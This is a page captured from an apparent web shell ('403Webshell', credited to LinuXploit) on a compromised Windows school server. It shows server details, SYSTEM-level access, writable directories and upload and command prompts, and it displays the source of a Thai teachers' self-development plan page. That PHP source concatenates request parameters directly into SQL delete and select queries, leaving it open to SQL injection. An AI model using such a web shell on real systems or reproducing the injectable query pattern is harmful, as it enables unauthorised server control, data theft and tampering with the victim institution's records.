403Webshell
Server IP : 104.21.80.248  /  Your IP : 172.71.28.155
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/www/myschool/triamudom/check/id-plan/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/www/myschool/triamudom/check/id-plan/display_user_development.php
<?php
session_start();
$path = "../";
include ($path.'include/config_db.php');
include ($path.'include/class_db.php'); 
include ($path.'include/class_display.php'); 
include ($path.'include/function.php'); 
$CLASS['db']   = new db();
$CLASS['db']->connect(); 
$CLASS['disp']   = new display();
$db   = $CLASS['db']; 
$disp   = $CLASS['disp']; 

$tb_performance_detail_id = $_REQUEST['tb_performance_detail_id'];
$tb_performance_group_id = $_REQUEST['tb_performance_group_id'];
$tb_performance_id = $_REQUEST['tb_performance_id'];

$del_id = $_REQUEST['del_id'];
$process = $_REQUEST['process'];
$tb_user_develop_id = $_REQUEST['tb_user_develop_id'];


if($process=="del"){
	$db->query("delete from tb_user_develops where tb_user_develop_id='".$del_id."' ");
	print "
	<script language='javascript'>
		window.location.href='".$_SERVER['PHP_SELF']."';
	</script>
	";
}

//--------------------ส่วนบนใช้สำหรับประกาศตัวแปรและ Config เท่านั้น----------------------------//
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>ระบบบันทึกแผนการพัฒนาตนเอง (ของครู)  โรงเรียนแกลง''วิทยสถาวร'' จังหวัดระยอง</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="stylesheet" href="images/cbcscbmenu.css" type="text/css" />
<link href="css/default.CSS" rel="stylesheet" type="text/css" />
<script language="JavaScript"  type="text/javascript" src="js/calendar.js"></script>
<script language="JavaScript"  type="text/javascript" src="js/loadcalendar.js"></script>
<script language="JavaScript"  type="text/javascript" src="js/calendar-en.js"></script>
<link  href="css/style_calendar.css"rel="stylesheet" type="text/css">
<SCRIPT type="text/javascript" src="../include/souc_java.js"></SCRIPT>
<script type="text/javascript" src="../ckeditor/ckeditor.js"></script>
<style type="text/css">
<!--
.style1 {color: #FF0000}
-->
</style>
<script language="javascript">
function chknull(c){
		if(c.tb_performance_id.value==''){
			alert('กรุณาเลือก สมรรถนะ');
			c.tb_performance_id.focus();
			return false;
		}
		if(c.tb_performance_group_id.value==''){
			alert('กรุณาเลือก หมวดหมู่สมรรถนะ');
			c.tb_performance_group_id.focus();
			return false;
		}
		if(c.tb_performance_detail_id.value==''){
			alert('กรุณาเลือก รายละเอียดสมรรถนะ');
			c.tb_performance_detail_id.focus();
			return false;
		}
}
</script>


</head>

<body>
<table width="988" height="100%" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td height="200" valign="top" bgcolor="#3882F6"><?php include("header.php");?></td>
  </tr>
  <tr>
    <td height="100%" align="center" valign="top" bgcolor="#FFFFFF"><table width="100%" height="100%" border="0" align="center" cellpadding="0" cellspacing="0">
      <tr>
        <td height="100%" align="center" valign="top">&nbsp;</td>
        <td width="1" align="center" valign="top" background="images/hdot.gif"></td>
        <td align="left" valign="top" bgcolor="#FFFFFF">&nbsp;</td>
      </tr>
      <tr>
        <td width="230" height="100%" align="center" valign="top"><?php include('com_left.php');?></td>
        <td width="1" align="center" valign="top" background="images/hdot.gif"></td>
        <td width="757" valign="top" bgcolor="#FFFFFF"><table width="100%" border="0" cellspacing="3" cellpadding="3">
          <tr>
            <td><a href="display_main.php"><img src="images/ebbtcbmenu1_0.gif" width="81" height="26" border="0" align="absmiddle" /></a></td>
          </tr>
        </table>
          <table width="98%" border="0" align="center" cellpadding="3" cellspacing="3">
            <tr>
              <td><fieldset style="border-color:#03b4fe">
                <legend>
                <div align="left"><strong>ข้อมูลการพัฒนาตนเอง</strong></div>
                </legend>
                <table width="100%" border="0" cellpadding="5" cellspacing="1" bgcolor="#0033FF">
                  <tr>
                    <td width="9%" align="center" nowrap="nowrap" bgcolor="#03B4FE"><strong>ลำดับที่</strong> </td>
                    <td width="83%" align="center" nowrap="nowrap" bgcolor="#03B4FE"><strong>สมรรถนะที่จะพัฒนา</strong></td>
                    <td width="8%" align="center" nowrap="nowrap" bgcolor="#03B4FE"><strong>จัดการ</strong></td>
                  </tr>
                  <?php 
				  	$sql_diswork = $db->query("select * from tb_user_develops where tb_teacher_id ='".$_SESSION['sessionuser_id']."' order by tb_performance_id,tb_performance_group_id,tb_performance_detail_id asc");
					$num_diswork = $db->num_rows($sql_diswork);
					if($num_diswork>0){
					$i=1;
					while($fetch_diswork=$db->fetch_array($sql_diswork)){
				  ?>
                  <tr>
                    <td align="center" valign="top" nowrap="nowrap" bgcolor="#FFFFFF"><?php print $i;?>.</td>
                    <td align="left" valign="top" bgcolor="#FFFFFF"><a href="#" onclick="new_win_def_prot('display_user_development_popup.php?tb_user_develop_id=<?php print $fetch_diswork['tb_user_develop_id']?>','select',750,500,0,0)"><?php echo $disp->display_performancename($fetch_diswork['tb_performance_id']);?> &gt; <?php echo $disp->display_performancegroupname($fetch_diswork['tb_performance_group_id']);?> &gt; <?php echo $disp->display_performancedetailname($fetch_diswork['tb_performance_detail_id']);?>&nbsp;<img src="images/search.png" alt="ดูข้อมูล" width="16" height="16" border="0" align="absmiddle" /></a></td>
                    <td align="center" valign="top" nowrap="nowrap" bgcolor="#FFFFFF"><a href="#" onclick="new_win_def_prot('display_user_development_popup_edit.php?tb_user_develop_id=<?php print $fetch_diswork['tb_user_develop_id']?>','select',780,500,0,0)"><img src="images/wrench.png" alt="แก้ไขข้อมูล" width="16" height="16" border="0" align="absmiddle" /></a> |&nbsp;<a href="<?php print $_SERVER['PHP_SELF'];?>?process=del&amp;del_id=<?php print $fetch_diswork['tb_user_develop_id']?>" onclick="return confirm('คุณต้องการที่จะลบข้อมูลนี้หรือไม่ ?');"><img src="images/sign_cross.png" alt="ลบข้อมูล" width="16" height="16" border="0" align="absmiddle" /></a></td>
                  </tr>
                  <?php $i++;
					  }
					  
				  }else{?>
                  <tr>
                    <td colspan="3" align="center" nowrap="nowrap" bgcolor="#FFFFFF"><span class="style1">ยังไม่มีการบันทึกข้อมูล</span></td>
                  </tr>
                  <?php }
				  ?>
                </table>
              </fieldset></td>
            </tr>
            <tr>
              <td>&nbsp;</td>
            </tr>
          </table>
          <table width="98%" border="0" align="center" cellpadding="3" cellspacing="3">
		<form action="function_user_development.php" method="post" enctype="multipart/form-data" name="user_detail" onsubmit="return chknull(this);">
          <tr>
            <td valign="top" bgcolor="#FFFFFF"><fieldset style="border-color:#03b4fe"><legend><div align="left"><strong>รายละเอียดการพัฒนาตนเอง (สำหรับครู)</strong></div></legend>
              <table width="100%" border="0" cellspacing="2" cellpadding="5">
                <tr>
                  <td width="30%" align="right" valign="top" nowrap="nowrap" bgcolor="#FFFFFF"><strong>สมรรถนะ : </strong></td>
                  <td width="70%" align="left" nowrap="nowrap" bgcolor="#FFFFFF"><select name="tb_performance_id" class="f_black" id="tb_performance_id" onchange="this.form.action='';this.form.submit();">
                    <option value=""> = กรุณาเลือกสมรรถนะ = </option>
                    <?php 
										$query_catalog=$db->query("select * from tb_performances where tb_performance_status ='1' order by tb_performance_id,tb_performance_name asc");
										while($fetch_catalog=$db->fetch_array($query_catalog)){
									?>
                    <option value="<?php echo $fetch_catalog['tb_performance_id'];?>" <?php if($tb_performance_id==$fetch_catalog['tb_performance_id']){echo "selected";}?>><?php echo $fetch_catalog['tb_performance_name'];?></option>
                    <?php } ?>
                  </select> 
                    <span class="style1">* </span></td>
                </tr>
                
                <tr>
                  <td align="right" valign="top" nowrap="nowrap" bgcolor="#FFFFFF"><strong>หมวดหมู่สมรรถนะ : </strong></td>
                  <td align="left" nowrap="nowrap" bgcolor="#FFFFFF"><select name="tb_performance_group_id" class="f_black" id="tb_performance_group_id" onchange="this.form.action='';this.form.submit();">
                    <option value=""> = กรุณาเลือกหมวดสมรรถนะ = </option>
                    <?php 
										$query_catalog=$db->query("select * from tb_performance_groups where tb_performance_group_status ='1' and tb_performance_id ='".$tb_performance_id."' order by tb_performance_group_id,tb_performance_group_name asc");
										while($fetch_catalog=$db->fetch_array($query_catalog)){
									?>
                    <option value="<?php echo $fetch_catalog['tb_performance_group_id'];?>" <?php if($tb_performance_group_id==$fetch_catalog['tb_performance_group_id']){echo "selected";}?>><?php echo $fetch_catalog['tb_performance_group_name'];?></option>
                    <?php } ?>
                  </select>
                    <span class="style1">* </span></td>
                </tr>
                <tr>
                  <td align="right" valign="top" nowrap="nowrap" bgcolor="#FFFFFF"><strong>รายละเอียดสมรรถนะ : </strong></td>
                  <td align="left" nowrap="nowrap" bgcolor="#FFFFFF"><select name="tb_performance_detail_id" class="f_black" id="tb_performance_detail_id">
                    <option value=""> = กรุณาเลือกรายละเอียดสมรรถนะ = </option>
                    <?php 
										$query_catalog=$db->query("select * from tb_performance_details where tb_performance_detail_status ='1' and tb_performance_group_id ='".$tb_performance_group_id."' order by tb_performance_detail_id,tb_performance_detail_name asc");
										while($fetch_catalog=$db->fetch_array($query_catalog)){
									?>
                    <option value="<?php echo $fetch_catalog['tb_performance_detail_id'];?>"><?php echo $fetch_catalog['tb_performance_detail_name'];?></option>
                    <?php } ?>
                  </select>
                    <span class="style1">* </span></td>
                </tr>
                <tr>
                  <td align="right" nowrap="nowrap" bgcolor="#FFFFFF"><strong>ระยะเวลาในการพัฒนา  : </strong></td>
                  <td align="left" nowrap="nowrap" bgcolor="#FFFFFF"><strong>เริ่มต้น :
                    <input name="tb_user_develop_datestart" type="text" class="f_pink" id="tb_user_develop_datestart" size="10"  readonly="" onClick="return showCalendar('tb_user_develop_datestart', 'dd-mm-y');"  onMouseOver="this.style.cursor='hand';">
                        <img src="images/calendar2.png" width="16" height="16" onClick="return showCalendar('tb_user_develop_datestart', 'dd-mm-y');"  onMouseOver="this.style.cursor='hand';"> สิ้นสุด
                    <input name="tb_user_develop_dateend" type="text" class="f_pink" id="tb_user_develop_dateend" size="10" readonly="" onClick="return showCalendar('tb_user_develop_dateend', 'dd-mm-y');"  onMouseOver="this.style.cursor='hand';">
                        <img src="images/calendar2.png" width="16" height="16" onClick="return showCalendar('tb_user_develop_dateend', 'dd-mm-y');"  onMouseOver="this.style.cursor='hand';"></strong></td>
                </tr>
                <tr>
                  <td align="right" valign="top" nowrap="nowrap" bgcolor="#FFFFFF"><strong>วิธีการ / รูปแบบการพัฒนา  : </strong></td>
                  <td align="left" nowrap="nowrap" bgcolor="#FFFFFF"><textarea class="ckeditor" name="tb_user_develop_method" id="tb_user_develop_method"></textarea></td>
                </tr>
                <tr>
                  <td align="right" valign="top" nowrap="nowrap" bgcolor="#FFFFFF"><strong>การขอรับการสนับสนุนจากหน่วยงาน : </strong></td>
                  <td align="left" nowrap="nowrap" bgcolor="#FFFFFF"><textarea class="ckeditor" name="tb_user_develop_support" id="tb_user_develop_support"></textarea></td>
                </tr>
                <tr>
                  <td align="right" valign="top" nowrap="nowrap" bgcolor="#FFFFFF"><strong>ประโยชน์ที่คาดว่าจะได้รับ : </strong></td>
                  <td align="left" nowrap="nowrap" bgcolor="#FFFFFF"><textarea class="ckeditor" name="tb_user_develop_benefit" id="tb_user_develop_benefit"></textarea></td>
                </tr>
              </table>
            </fieldset></td>
          </tr>
          <tr>
            <td align="center" valign="top" bgcolor="#FFFFFF"><input name="Submit" type="submit" value="บันทึกข้อมูล" /></td>
          </tr>
          <tr>
            <td align="center" valign="top" bgcolor="#FFFFFF">&nbsp;</td>
          </tr>
		</form>
        </table>
          </td>
      </tr>
      <tr>
        <td height="100%" align="center" valign="top">&nbsp;</td>
        <td width="1" align="center" valign="top" background="images/hdot.gif"></td>
        <td align="center" valign="top" bgcolor="#FFFFFF">&nbsp;</td>
      </tr>
    </table></td>
  </tr>
  <tr>
    <td height="50" valign="bottom"><?php include("footer.php");?></td>
  </tr>
</table>
</body>
</html>
<script type="text/javascript">
            CKEDITOR.replace( 'tb_user_develop_method',{
					enterMode : CKEDITOR.ENTER_BR,
		            } );
            CKEDITOR.replace( 'tb_user_develop_support',{
					enterMode : CKEDITOR.ENTER_BR,
		            } );
            CKEDITOR.replace( 'tb_user_develop_benefit',{
					enterMode : CKEDITOR.ENTER_BR,
		            } );
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit